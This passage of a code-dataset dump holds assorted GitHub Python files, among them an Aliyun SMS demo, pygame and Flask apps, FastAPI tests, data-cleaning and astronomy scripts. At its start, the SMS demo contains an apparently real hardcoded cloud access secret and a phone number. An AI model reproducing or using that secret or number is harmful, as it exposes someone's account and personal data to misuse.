'wUXxTEP1zzKawWoVgwYsUCKSZExqQ1', 'cn-hangzhou')\n\n request = CommonRequest()\n request.set_accept_format('json')\n request.set_domain('dysmsapi.aliyuncs.com')\n request.set_method('POST')\n request.set_protocol_type('https') # https | http\n request.set_version('2017-05-25')\n request.set_action_name('SendSms')\n\n request.add_query_param('RegionId', \"cn-hangzhou\")\n request.add_query_param('PhoneNumbers', telephone)\n request.add_query_param('SignName', \"zlbbs论坛\")\n request.add_query_param('TemplateCode', \"SMS_166665344\")\n request.add_query_param('TemplateParam', {\"code\": captcha})\n\n response = client.do_action_with_exception(request)\n # response = client.do_action(request)\n # python2: print(response)\n print(str(response, encoding='utf-8'))\n return response\n\n# alidayu(\"13309567820\",\"1234\")","repo_name":"v1struggler/BBS_Flask","sub_path":"utils/demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":1016,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"1445125809","text":"class StartScreen:\n def __init__(self):\n pass\n\n def init_ui(self):\n self.res_lbl = Button(20, 'left', 20, 'up', 'tooltip', scale=3)\n self.res_lbl.set_text('Res: (1234, 5678)', 80)\n self.res_lbl.set_text_rect(0, 'center', 0, 'center')\n\n self.fs_lbl = Button(20, 'left', 20 + self.res_lbl.rect.height, 'up', 'tooltip', scale=3)\n self.fs_lbl.set_text('Fullscreen ON', 80)\n self.fs_lbl.set_text_rect(0, 'center', 0, 'center')\n\n self.res_1 = Button(0, 'center', 75,\n 'up', 'ui_button', 'ui_button_h', 'ui_button_p', 2)\n self.res_1.set_text('1280x720', 80)\n self.res_1.set_text_rect(0, 'center', 0, 'center')\n\n self.res_2 = Button(0, 'center', 80 + self.res_1.rect.height, 'up', 'ui_button', 'ui_button_h', 'ui_button_p', 2)\n self.res_2.set_text('1366x768', 80)\n self.res_2.set_text_rect(0, 'center', 0, 'center')\n\n self.res_3 = Button(0, 'center', 85 + 2 * self.res_1.rect.height, 'up', 'ui_button', 'ui_button_h', 'ui_button_p', 2)\n self.res_3.set_text('1920x1080', 80)\n self.res_3.set_text_rect(0, 'center', 0, 'center')\n\n self.fs = Button(0, 'center', 90 + 3 * self.res_1.rect.height, 'up', 'ui_button', 'ui_button_h', 'ui_button_p', 2)\n self.fs.set_text('Fullscreen ON', 80)\n self.fs.set_text_rect(0, 'center', 0, 'center')\n\n self.go = Button(10, 'right', 10, 'bottom', 'ui_button', 'ui_button_h', 'ui_button_p', 2)\n self.go.set_text('PLAY', 80)\n self.go.set_text_rect(0, 'center', 0, 'center')\n\n Globals.ui.add(self.res_lbl, self.fs_lbl, self.res_1, self.res_2, self.res_3, self.fs, self.go)\n\n def on_load(self):\n iml = ImageLoader('sprites/')\n Globals.images.update(iml.load([('background', 'background_menu.png'),\n ('ui_button', 'ui_menubutton.png'),\n ('ui_button_h', 'ui_menubutton_h.png'),\n ('ui_button_p', 'ui_menubutton_p.png'),\n ('tooltip', 'ui_tooltip.png')]))\n\n @staticmethod\n def save_settings(resolution, fullscreen):\n with open('Constants.py', 'r', encoding='utf-8') as file:\n file_data = file.readlines()\n for ind, line in enumerate(file_data):\n if line.rstrip().startswith('SCR_W'):\n file_data[ind] = 'SCR_W = {}\\n'.format(resolution[0])\n elif line.rstrip().startswith('SCR_H'):\n file_data[ind] = 'SCR_H = {}\\n'.format(resolution[1])\n elif line.rstrip().startswith('FULLSCREEN'):\n if fullscreen:\n file_data[ind] = 'FULLSCREEN = True\\n'\n else:\n file_data[ind] = 'FULLSCREEN = False\\n'\n\n with open('Constants.py', 'w', encoding='utf-8') as file:\n file.write(''.join(file_data))\n\n def run(self):\n self.on_load()\n self.init_ui()\n pygame.display.set_caption('Artillery Simulator: settings')\n\n scr_res = (1280, 720)\n self.res_lbl.set_text('Res: ({}, {})'.format(*scr_res))\n\n fullsceen = False\n self.fs.set_text('Fullscreen OFF')\n self.fs_lbl.set_text('Fullscreen OFF')\n\n running = True\n while running:\n Globals.screen.fill((0, 0, 0))\n\n Globals.input.update()\n Globals.ui.update()\n if Globals.input.quit:\n running = False\n if pygame.K_ESCAPE in Globals.input.k_pressed:\n running = False\n\n if self.fs.doing_action:\n fullsceen = not fullsceen\n if fullsceen:\n self.fs.set_text('Fullscreen ON')\n self.fs_lbl.set_text('Fullscreen ON')\n else:\n self.fs.set_text('Fullscreen OFF')\n self.fs_lbl.set_text('Fullscreen OFF')\n\n if self.res_1.doing_action:\n scr_res = (1280, 720)\n self.res_lbl.set_text('Res: ({}, {})'.format(*scr_res))\n elif self.res_2.doing_action:\n scr_res = (1366, 768)\n self.res_lbl.set_text('Res: ({}, {})'.format(*scr_res))\n elif self.res_3.doing_action:\n scr_res = (1920, 1080)\n self.res_lbl.set_text('Res: ({}, {})'.format(*scr_res))\n\n if self.go.doing_action:\n self.save_settings(scr_res, fullsceen)\n return 1\n\n Globals.ui.draw(Globals.screen)\n\n pygame.display.update()\n Globals.clock.tick(20)\n return 0\n\nif __name__ == '__main__':\n StartScreen().save_settings((600, 300), False)\n import pygame, subprocess, os\n from GlobalVariables import Globals\n from Engine.ImageLoader import ImageLoader\n from UI.Button import Button\n\n pygame.init()\n sc = StartScreen()\n exit_code = sc.run()\n pygame.quit()\n if exit_code == 0:\n exit(0)\n else:\n try:\n if os.name == 'nt':\n game = subprocess.Popen('ArtillerySimulator.bat')\n else:\n game = subprocess.Popen(['$nohup', 'GameMain.pyw &'])\n except Exception as e:\n with open('_ERROR_.txt', 'w', encoding='utf-8') as file:\n file.write('Some error occured when trying to lauch GameMain.pyw\\n')\n file.write('Ask developers for help\\n')\n file.write('Error args: %s' % str(e.args))","repo_name":"prokhn/ArtillerySimulator","sub_path":"ArtillerySimulator Project/StartScreen.pyw","file_name":"StartScreen.pyw","file_ext":"pyw","file_size_in_byte":5577,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"44095707965","text":"\n#C7_v2.py\n\"\"\"\nSo we have to create two sets \nMUL = {a/p, b/q, c/r}\nADD = {a-p, b-q, c-r}\n\"\"\"\nimport sys\ntest_cases = int(sys.stdin.readline())\nfor i_iter in range(test_cases):\n\tpqr = list(sys.stdin.readline().split())\n\tp = int(pqr[0])\n\tq = int(pqr[1])\n\tr = int(pqr[2])\n\tabc = list(sys.stdin.readline().split())\n\ta = int(abc[0])\n\tb = int(abc[1])\n\tc = int(abc[2])\n\t#print(p,q,r,a,b,c)\n\t#there are three solutions 1, 2 or 3\n\t#there are two ways either we can multiply or add\n\t#here ap means a-p\n\t#here AP means pa\n\tap = a - p\n\tbq = b - q\n\tcr = c - r\n\tif p:\n\t\tAP = a / p\n\telse:\n\t\tAP = None\n\tif q:\n\t\tBQ = b / q\n\telse:\n\t\tBQ = None\n\tif r:\n\t\tCR = c / r\n\telse:\n\t\tCR = None\nMUL = [AP, BQ, CR]\nADD = [ap, bq, cr]\n","repo_name":"PrajjwalDatir/CodeChefJune20","sub_path":"C7_v2.py","file_name":"C7_v2.py","file_ext":"py","file_size_in_byte":703,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"15717972555","text":"from datetime import datetime, timedelta\nfrom fastapi import FastAPI\nfrom fastapi.testclient import TestClient\nfrom main import app\n\nclient = TestClient(app)\n\ndef test_all_stations():\n response = client.get(\"/stations/\")\n assert response.status_code == 200, f\"Query to '/stations' returned code {response.status_code}\"\n assert response.json() != {}, f\"Response from querying '/stations' was empty\"\n\ndef test_station_by_id():\n validStationId = 1\n response = client.get(f\"/station/{validStationId}\")\n assert response.status_code == 200, f\"Query to '/station/stationId' with a supposed valid value returned code {response.status_code}\"\n assert response.json() != {}, f\"Response from querying '/station/stationId' was empty\"\n\n invalidStationId = -1\n response = client.get(f\"/station/{invalidStationId}\")\n assert response.status_code == 404, f\"Query to '/station/stationId' with a supposed invalid value returned code {response.status_code}\" \n\ndef test_measurements_unbounded():\n machineId = 427712\n response = client.get(f\"/measurements/\", params={\"machine_id\": machineId})\n assert response.status_code == 200, f\"Query to '/measurements/' returned code {response.status_code}\"\n assert response.json() != {}, f\"Response from querying '/measurements/' was empty\"\n\n\ndef test_measurements_bounded():\n machineId = 427038\n start_date = \"2021-11-07 23:56:00\"\n end_date = \"2021-11-07 23:59:59\"\n response = client.get(f\"/measurements/\", params={\"machine_id\": machineId, \"start_date\": start_date, \"end_date\":end_date})\n assert response.status_code == 200, f\"Query to '/measurements/' returned code {response.status_code}\"\n assert response.json() != {}, f\"Response from querying '/measurements/' was empty\" \n assert len(response.json()) == 3, f\"Response from querying '/measurements/' for a known id and timerange returned an unexpected amount of data\" \n\n\ndef test_all_machines():\n response = client.get(\"/machines/\")\n assert response.status_code == 200, f\"Query to '/machines' returned code {response.status_code}\"\n assert response.json() != {}, f\"Response from querying '/machines' was empty\"\n\ndef test_machine_by_id():\n validMachineId = 427038\n response = client.get(f\"/machine/{validMachineId}\")\n assert response.status_code == 200, f\"Query to '/machine/machineId' with a supposed valid value returned code {response.status_code}\"\n assert response.json() != {}, f\"Response from querying '/machine/machineId' was empty\"\n\n invalidMachineId = -999999\n response = client.get(f\"/machine/{invalidMachineId}\")\n assert response.status_code == 404, f\"Query to '/machine/machineId' with a supposed invalid value returned code {response.status_code}\" \n\n\nif __name__ == \"__main__\":\n # Run some tests on the station endpoints\n test_all_stations()\n test_station_by_id() \n \n # Run some tests on the measurements endpoints\n test_measurements_unbounded()\n test_measurements_bounded()\n \n # Run some tests on the machine endpoints\n test_all_machines()\n test_machine_by_id()\n\n # If all tests pass, we should be able to print (rudimentary, but works)\n print(\"All good in the hood!\")","repo_name":"sgprinc/FastAPI-Backend","sub_path":"tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":3197,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"22211872077","text":"class Solution:\n def breakPalindrome(self, palindrome: str) -> str:\n n = len(palindrome)\n if n == 1:\n return \"\"\n\t\t# this line is here so that we can replace character\n\t\t# because in python string is immutable\n s = list(palindrome)\n \n\t\t# we set idx to -1 to check if the string was all a's.\n idx = -1\n for i in range(len(s)):\n if s[i] != 'a' and i != len(s) // 2:\n idx = i\n\t\t\t\t# if we found our character we don't need to loop anymore.\n break\n \n s[idx] = 'b' if idx == -1 else 'a'\n return ''.join(s)","repo_name":"AyushSingh-github/Leetcode","sub_path":"1328-break-a-palindrome/1328-break-a-palindrome.py","file_name":"1328-break-a-palindrome.py","file_ext":"py","file_size_in_byte":625,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"14131929773","text":"from sknn.mlp import Regressor, Layer\nimport numpy as np\nnp.set_printoptions(threshold=100000)\nimport pickle\nimport os\nimport sys\nimport time\nfrom sknn.platform import cpu64, threading\n\nos.chdir('/Users/Thomas/git/thesis/')\n\ndata = np.loadtxt('imgstate.txt', delimiter=' ')\n\nX = data[:,0:224]\nY = data[:,225][np.newaxis].T\n\nif 'params' in locals():\n\tparams = params\nelse:\n\tparams = None\n\ndef neural(X, Y, params=None):\n\tnn = Regressor(\n\t\tlayers=[\n\t\t Layer(\"Rectifier\", units=200),\n\t\t Layer(\"Sigmoid\", units=200),\n\t\t Layer(\"Rectifier\", units=200),\n\t\t Layer(\"Sigmoid\", units=200),\n\t\t Layer(\"Sigmoid\")],\n\t\tlearning_rate=0.001,\n\t\tn_iter=100,\n\t\tparameters=params,\n\t\tlearning_rule='sgd',\n\t\tf_stable=0.001,\n\t\tvalid_size=.2,\n\t\tverbose=True,\n\t\tn_stable=3)\n\n\treturn nn.fit(X, Y)\n\nnn1 = neural(X, Y)\n\n#model in pkl\npickle.dump(nn1, open('nn.pkl', 'wb'))\nneural_loaded = pickle.load(open('nn.pkl', 'rb'))\nneural_loaded.predict(X)\nparams = neural_loaded.get_parameters()\n\n#after loop\nnn2 = neural(X, Y, params)\n\n\n\n\n\n\n\n\n\n\n\n#params in csv\n#params = neural.get_parameters()\n#wr = csv.writer(open('params.csv', 'wb'), quoting=csv.QUOTE_ALL)\n#wr.writerow(params)\n#f = csv.reader(codecs.open('params.csv', 'rU'))\n#import pandas as pd\n#data = pd.read_csv('params.csv')\n#with open('params.csv', 'rb') as f:\n# reader = csv.reader(f)\n\n\n\n#pred = neural.predict(x)\n#print np.hstack((pred, y))\n#print abs(pred - y).mean()","repo_name":"totovivi/thesis","sub_path":"SKNN.py","file_name":"SKNN.py","file_ext":"py","file_size_in_byte":1414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"31625427478","text":"# a,b = map(int,input().split())\n# a = list(map(int,input().split()))\n# a = [list(map(int,input().split())) for _ in range(n)]\n\nimport sys\nimport os\nf = open('../../input.txt', 'r')\nsys.stdin = f\n\nn,k = map(int,input().split())\nh = list(map(int,input().split()))\n\nif(n==k):\n print(0)\n exit()\n\ndef calc(h_ind):\n hlen = len(h_ind)\n ans = h[h_ind[0]]\n for i in range(1,hlen):\n ans += max(h[h_ind[i]]-h[h_ind[i-1]], 0)\n\n return ans\n\ninf = 10**9 * (n+1)\ndp = [[inf] * (n-k+1) for _ in range(n+1)]\ndp_element = []\nfor i in range(n+1):\n tmp = [[] for _ in range(n-k+1)]\n dp_element.append(tmp)\ndp[0][0] = 0\n\nfor i in range(1,n+1):\n for j in range(1,n-k+1):\n # print('{} {}'.format(i,j))\n h_ind = dp_element[i-1][j-1][::]\n if(len(h_ind) != j-1):\n continue\n h_ind.append(i-1)\n tmp = calc(h_ind)\n if( dp[i-1][j] < tmp):\n dp[i][j] = dp[i-1][j]\n dp_element[i][j] = dp_element[i-1][j][::]\n elif(dp[i-1][j] == tmp):\n h_ind_b = dp_element[i-1][j][-1]\n h_ind_n = h_ind[-1]\n if(h[h_ind_b] < h[h_ind_n]):\n dp[i][j] = dp[i-1][j]\n dp_element[i][j] = dp_element[i-1][j][::]\n else:\n dp[i][j] = tmp\n dp_element[i][j] = h_ind[::]\n\n else:\n dp[i][j] = tmp\n dp_element[i][j] = h_ind[::]\n\nprint(dp[-1][-1])\n# for i in dp_element:\n# print(i)\n","repo_name":"komajun365/competitive_programming","sub_path":"abc/abc145/f.py","file_name":"f.py","file_ext":"py","file_size_in_byte":1466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"188917333","text":"#!/usr/bin/env python\n#from multiprocessing import Process\nimport time\nimport cv2\nimport serial\nimport numpy as np\nimport tensorflow.compat.v1 as tf\nfrom flask import Flask, render_template, jsonify, request, Response\nfrom py.detector import DetectorAPI\n\ntf.disable_v2_behavior()\napp = Flask(__name__)\n\nglobal odapi\nglobal engaged\n# global ser\nglobal feed\nglobal serialOn\n\nserialOn = False\nengaged = True\nMODEL_FOLDER = 'resources/'\n# MODEL_NAME = './ssd_mobilenet_v3_large_coco_2020_01_14'\nmodel_path = MODEL_FOLDER+'/frozen_inference_graph.pb'\n\nodapi = DetectorAPI(path_to_ckpt=model_path)\n\nif serialOn:\n ser = serial.Serial()\n ser.baudrate = 9600\n ser.port = 'COM4'\n ser.open()\n if ser.is_open:\n print(\"serial connection initiated!\")\n else:\n print(\"serial connection failed!\")\n\ncam_no = 0\nfeed = cv2.VideoCapture(cam_no)\n\n\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n@app.route(\"/engageSwitch\", methods=['POST'])\ndef engageSwitch():\n print(request.get_json())\n global engaged\n if request.method == 'POST':\n engaged = not engaged\n message = {'message': 'Switched!'}\n return jsonify(message)\n\n\n@app.route(\"/left\", methods=['GET'])\ndef left():\n global engaged, serialOn\n if request.method == 'GET' and not engaged and serialOn:\n message = {'message': 'Moved Left!'}\n shift_left();\n return jsonify(message)\n\n\n@app.route(\"/right\", methods=['GET'])\ndef right():\n global engaged, serialOn\n if request.method == 'GET' and not engaged and serialOn:\n message = {'message': 'Moved Right!'}\n shift_right();\n return jsonify(message)\n\n@app.route(\"/video_feed\")\ndef video_feed():\n\treturn Response(run_fan(),\n mimetype=\"multipart/x-mixed-replace; boundary=frame\")\n\n\ndef shift_left():\n global serialOn\n if serialOn:\n global ser\n ser.write(\"l01\\n\".encode())\n\n\ndef shift_right():\n global serialOn\n if serialOn:\n global ser\n ser.write(\"r01\\n\".encode())\n\n\ndef run_fan():\n global odapi\n global feed\n global engaged\n global serialOn\n if serialOn:\n global ser\n\n threshold = 0.6\n shift = (0, 0)\n prev_pos = (0, 0)\n current_pos = (0, 0)\n vel_check = False\n while True:\n r, img = feed.read()\n # img = cv2.resize(img, (1280, 720))\n height, width, channels = img.shape\n # img = cv2.resize(img, (width//4, height//4))\n # width, height = width//4, height//4\n boxes, scores, classes, num = odapi.processFrame(img)\n\n # Visualization of the results of a detection.\n if engaged:\n for i in range(len(boxes)):\n # Class 1 represents human\n if classes[i] == 1 and scores[i] > threshold:\n box = boxes[i]\n center = ((box[1]+box[3])//2, (box[0]+box[2])//2)\n # print(center)\n radius = 50*(abs(box[1]-box[3]) + abs(box[0]-box[2]))//width\n # print(radius)\n cv2.circle(img, center, radius, (0, 0, 255), -1)\n if vel_check:\n prev_pos = (width//2, height//2)\n calc_pos = center\n shift = (calc_pos[0]-prev_pos[0],\n calc_pos[1]-prev_pos[1])\n \n if shift[0] > 0:\n if 100*abs(shift[0]/width) > 20:\n prev_pos = current_pos\n cv2.circle(img, prev_pos, 5, (255, 0, 0), -1)\n current_pos = center\n # print(\"human shifted right by\",\n # 100*abs(shift[0]/width), \"%\")\n if serialOn:\n ser.write(\"r10\\n\".encode())\n if 100*abs(shift[0]/width) > 10:\n prev_pos = current_pos\n cv2.circle(img, prev_pos, 5, (255, 0, 0), -1)\n current_pos = center\n # print(\"human shifted right by\",\n # 100*abs(shift[0]/width), \"%\")\n if serialOn:\n ser.write(\"r03\\n\".encode())\n elif 100*abs(shift[0]/width) > 2:\n prev_pos = current_pos\n cv2.circle(img, prev_pos, 5, (255, 0, 0), -1)\n current_pos = center\n # print(\"human shifted left by\",\n # 100*abs(shift[0]/width), \"%\")\n if serialOn:\n ser.write(\"r01\\n\".encode())\n elif shift[0] < 0:\n if 100*abs(shift[0]/width) > 20:\n prev_pos = current_pos\n cv2.circle(img, prev_pos, 5, (255, 0, 0), -1)\n current_pos = center\n # print(\"human shifted right by\",\n # 100*abs(shift[0]/width), \"%\")\n if serialOn:\n ser.write(\"l10\\n\".encode())\n if 100*abs(shift[0]/width) > 10:\n prev_pos = current_pos\n cv2.circle(img, prev_pos, 5, (255, 0, 0), -1)\n current_pos = center\n # print(\"human shifted left by\",\n # 100*abs(shift[0]/width), \"%\")\n if serialOn:\n ser.write(\"l03\\n\".encode())\n elif 100*abs(shift[0]/width) > 2:\n prev_pos = current_pos\n cv2.circle(img, prev_pos, 5, (255, 0, 0), -1)\n current_pos = center\n # print(\"human shifted left by\",\n # 100*abs(shift[0]/width), \"%\")\n if serialOn:\n ser.write(\"l01\\n\".encode())\n else:\n prev_pos = center\n current_pos = center\n vel_check = True\n\n # cv2.imshow(\"preview\", img)\n r, encoded = cv2.imencode(\".jpg\", img)\n yield(b'--frame\\r\\n' b'Content-Type: image/jpeg\\r\\n\\r\\n' + \n bytearray(encoded) + b'\\r\\n')\n\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', debug=True)\n","repo_name":"itsfeas/human-tracking-fan","sub_path":"web-app/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":6844,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"39892324784","text":"\"\"\"Простые делители числа 13195 - это 5, 7, 13 и 29.\n\nКаков самый большой делитель числа 600851475143, являющийся простым числом?\"\"\"\nnumber = 600851475143\ndivider = 2\nwhile divider != number:\n\tif number % divider == 0:\n\t\tnumber = number / divider\n\telse:\n\t\tdivider = divider + 1\nprint(int(number))\n","repo_name":"MikhailGusarov/ProjectEuler","sub_path":"Problem 3.py","file_name":"Problem 3.py","file_ext":"py","file_size_in_byte":374,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"19752318998","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Nov 22 19:11:19 2022\r\n\r\n@author: leola\r\n\"\"\"\r\n\r\nimport pandas as pd\r\n\r\n#file_name = pd.read_csv(\"file.csv\") <---- format\r\n\r\ndata = pd.read_csv(\"transaction.csv\")\r\n\r\ndata = pd.read_csv(\"transaction.csv\" ,sep=\";\")\r\n\r\n#summary of the data\r\ndata.info()\r\n\r\n\r\n#working with calculation\r\n# Defining Variables\r\n\r\n#costperitem = 11.73\r\n\r\n#sellingpriceperitem = 21.11\r\n#numberofitemspurchased = 6\r\n\r\n#matematical operations \r\n\r\n#profifperitem = 21.11 -11.73\r\n\r\n\r\ncostperitem = data[\"CostPerItem\"]\r\nNumberOfItemsPurchased = data[\"NumberOfItemsPurchased\"]\r\n\r\ncostpertransaction = NumberOfItemsPurchased*costperitem\r\n\r\n#adding column to dataframe\r\n\r\ndata[\"costpertransaction\"] = costpertransaction\r\n\r\n#Sales per tranasaciotn\r\n\r\n\r\ndata[\"SalesPerTransaction\"] = data[\"SellingPricePerItem\"] *data[\"NumberOfItemsPurchased\"]\r\n\r\n\r\ndata[\"ProfitPerTransaction\"] = data[\"SalesPerTransaction\"] - data[\"costpertransaction\"]\r\n\r\ndata[\"Markup\"] =( data[\"SalesPerTransaction\"] - data[\"costpertransaction\"])/data[\"costpertransaction\"]\r\n\r\ndata[\"Markup\"] = round(data[\"Markup\"], 2)\r\n\r\n#combining data fields\r\n\r\nmy_date = data[\"Day\"].astype(str)+\"-\"+data[\"Month\"]+\"-\"+data[\"Year\"].astype(str)\r\n\r\ndata[\"my_date\"] = my_date\r\n\r\n#use iloc to viewspefic columns/row\r\n\r\ndata.iloc[0]\r\n\r\n#new_var = colum.str.split('sep',expand=True)\r\n\r\nsplit_col = data['ClientKeywords'].str.split(',', expand=True)\r\n\r\n#create new columns\r\ndata['ClientAge']=split_col[0]\r\ndata['ClientType']=split_col[1]\r\ndata['LengthofContract']=split_col[2]\r\n#use the replace function\r\n\r\ndata['ClientAge'] = data['ClientAge'].str.replace('[','')\r\n\r\ndata['LengthofContract'] = data['LengthofContract'].str.replace(']','')\r\n\r\n#use lower function\r\ndata['ItemDescription'] = data['ItemDescription'].str.lower()\r\n\r\n# Merge files\r\n# Bring in a new dataset\r\n\r\n\r\n\r\n\r\nseasons = pd.read_csv(\"value_inc_seasons.csv\" ,sep=\";\")\r\n\r\n\r\n# merge files: merge_df = pd.merge(df_old, df_new, on = 'key')\r\n\r\ndata = pd.merge(data, seasons, on = 'Month')\r\n\r\n#dropping columns\r\ndata = data.drop('Day', axis= 1)\r\n\r\ndata = data.drop(['Year','Month'], axis= 1)\r\n\r\n#export to csv\r\n\r\ndata.to_csv('ValueInc_Cleaned.csv', index=False)","repo_name":"leoqzv/PythonAndTableau","sub_path":"valueinc_sales.py","file_name":"valueinc_sales.py","file_ext":"py","file_size_in_byte":2175,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"6425012476","text":"import openai\n\ndef chatWithGPT(product_id, product_url, max_tokens=50):\n prompt = (\n f\"Product ID: {product_id}\\n\"\n f\"Product URL: {product_url}\"\n )\n\n real_prompt = (\n f\"{prompt}\\n\"\n \"I have provided an outfit item information. I want you to return \"\n \"the clothing properties: name,short description, color and product ID. \"\n \"Then, suggest the occasion you think this clothing can be worn and vibes for these items using few words. \"\n \"Return your results in a single line for every item I provided.\"\n )\n\n response = openai.ChatCompletion.create(\n model=\"gpt-3.5-turbo\",\n messages=[\n {\"role\": \"system\", \"content\": \"You are a helpful assistant that provides information about outfits.\"},\n {\"role\": \"user\", \"content\": real_prompt},\n ],\n max_tokens=max_tokens, # Limit the response to a certain number of tokens\n )\n\n assistant_response = response.choices[0].message[\"content\"]\n return assistant_response\n","repo_name":"BisiOlaYemi/ai","sub_path":"gpt.py","file_name":"gpt.py","file_ext":"py","file_size_in_byte":1027,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"12033498493","text":"# -*- coding: utf-8 -*-\nfrom astroquery.jplhorizons import Horizons\nfrom pre_task import date_checker, location_checker\nfrom post_task import find_oppositions, airmass_limit, plotter\nfrom pathlib import Path\n\nimport pandas as pd\n\nimport warnings\nimport os\n\n\n\n\"\"\"\nProgram takes ID number for targets in JPL horizons and determines at what dates\nthose targets will be at opposiion (i.e. when they'll be at their brightest \napparent magnitude). \nThis aids in determining when those objects will be the eiseist to observe, it's \nparticularly handy for dim asteroids. \n\n\nInput:\n Individual text inputs or a text document with a single column of object\n ID numbers is excepted. The text document must be stored in the current \n working directory of this program. \n \n All other inputs are controlled through text and questions in command line.\n\nOutput:\n The program will output a file titled oppositions.csv containing dates of \n local minimum magnitude that are brighter than the minimuim magnitude cut \n off. \n \n If save plot it (y) then a folder titled 'plots' will be created in the \n current working directory and .png images of magnitude v date will be \n saved for each object parsed. \n WARNING: Saving plots will add time and will take up much more storage, \n it is not recommended to save plots with thousands of asteroids.\n\nNOTE: A few files are required to be included with this program for it to \nfunction properly. A directory titled \"support_files\" containing pre_tasks.py\nand post_task.py is required. These are python modules taken out of the main \ncode to keep the program 'neater'. \n A list of observatory codes must also be included. This is a text document\ntitled 'loc_ids.tx'. This must be included unless the location input cannot \nbe checked for approval. \n\n_____________________________________________________________________________\n# List of Ephemeris columns to use in final ==================================\n \n (eph['targetname',\n 'datetime_str',\n 'V',\n 'delta', \n 'delta_rate',\n 'alpha_true'\n 'RA',\n 'DEC',\n 'airmass'\n ])\n_______________________Dictionary of column output names______________________\n { \n 'targetname':'Target Name',\n 'datetime_str':'Date-Time (Date__(UT)HR:MN)',\n 'V':'V (mag)',\n 'RA':'RA (deg)',\n 'DEC':'DEC (deg)',\n 'delta':'delta (AU)',\n 'alpha_true':'True Phase Angle (deg)',\n 'airmass' : 'airmass'\n }\n \n =============================================================================\nAuthored by Justin Germann (MS* Space Studies University of North Dakota)\n -- 701-206-0395\n -- jusgermann@gmail.com\n\"\"\"\n\n\ndef main():\n \"\"\" \n Main module handles the inputs from the user and setting up the basic\n variables.\n \"\"\"\n \n print('__________________________________________________________________')\n print('__________________________________________________________________')\n \n # Turn off a warning that is not helpful.\n pd.set_option('chained_assignment', None)\n warnings.simplefilter(action='ignore', category=FutureWarning)\n \n # Makes inputs global so other functions can access.\n global target_list # check if this is required.\n global location\n global start_date\n global stop_date\n global step_size\n global min_mag\n global column_names\n global save_plot\n global airmass_q\n global airmass_lim\n global skip_day\n\n \n # Creating empty DF for appending too.\n column_names = ['targetname',\n 'datetime_str',\n 'V',\n 'delta',\n 'alpha_true',\n 'RA',\n 'DEC',\n 'airmass'\n ]\n \n # For Formating\n print_break = \"___________________________\\n\"\n print('Finding oppositions for Multiple objects (m) or a Single object (s)?')\n \n # Question for single or multiple objects\n while True:\n multiple_q = input('Input m or s: ')\n try:\n mul_q_fir = multiple_q[0].lower() \n\n if mul_q_fir == 'm':\n break\n if mul_q_fir == 's':\n break\n else:\n print(\"{}Incorrect Character Input\".format(print_break))\n\n except:\n print('Nothing was inputted, try agian.')\n\n\n # Uses location_checker module to make sure location is valid.\n location = location_checker()\n \n # Feeds to functions to get dates in correct formats\n while True:\n start_date = date_checker('Start')\n stop_date = date_checker('End')\n \n if stop_date == start_date:\n print(\"{}Start and End dates cannot be the same\"\n .format(print_break))\n else:\n break\n \n # Question to collect step size input\n while True:\n step_list = ['s', 'm', 'h', 'd', 'y']\n step_size = input('Step size: (ex: 10d, 3m, 2h): ')\n \n if step_size[-1] in step_list:\n break\n else:\n print('{}Input step unit listed: {}'.format(print_break,step_list))\n \n \n # Question to determine the desired magnitude limit.\n while True:\n min_mag = input('Magnitude Limit: ')\n try:\n min_mag = float(min_mag)\n break\n except:\n print(\"{}Must be integer\".format(print_break))\n \n # make it so you can't limit airmass or daylight when step size > 1 day.\n if step_size[-1] != 'd':\n # Question to determine if limit by airmass is desired.\n while True:\n airmass_q = input(\"\"\"Limit airmass's? y or n: \"\"\")\n if airmass_q[0].lower() == 'y':\n airmass_q = True \n airmass_lim = input(\"Input Airmass Limit: \")\n \n try:\n airmass_lim = float(airmass_lim)\n break\n except:\n print(\"{}Must be integer\".format(print_break))\n else:\n airmass_q = False\n break\n # Question to see if you wish to skip daylight hours.\n while True:\n skip_day = input('Skip Daylight? y or n: ')\n skip_day = skip_day[0].lower() \n if skip_day == 'y':\n break\n if skip_day == 'n':\n break\n else:\n print(\"{}Incorrect Character Input\".format(print_break))\n \n # Creates Variables for skipped days.\n else:\n skip_day = 'n'\n airmass_q = 'n'\n print('\\n--- NOTICE ---')\n print(\"Since Step >1 Day\\nAirmass cutoff = N\\nDaylight cutoff = N\")\n \n # Question to check to see if plots wish to be saved.\n while True:\n save_plot = input(\"Save plot images? (y or n): \")\n save_plot_fir = save_plot[0].lower() \n if save_plot_fir == 'y':\n if mul_q_fir =='m':\n # Second question to confirm when saving multiple plots.\n save_plot = input(\"\"\"\n\\n\\nIf Parsing 1OO's of objects the plot generation will take up storage\nresources and considerably slow the parsing process.\nAre you sure you wish to save plots? y or n: \"\"\" \n)\n save_plot_fir = save_plot[0].lower()\n if save_plot_fir == 'y':\n break\n else:\n print(\"Not saving plots\")\n break\n if save_plot_fir == 'n':\n break\n else:\n print(\"{}Incorrect Character Input\".format(print_break))\n \n file_organizer(mul_q_fir)\n\n\n\ndef file_organizer(multi_single):\n \n # Creats DF with column names for populating.\n opposition_df = pd.DataFrame(columns=column_names) \n\n # Check if Single or multiple 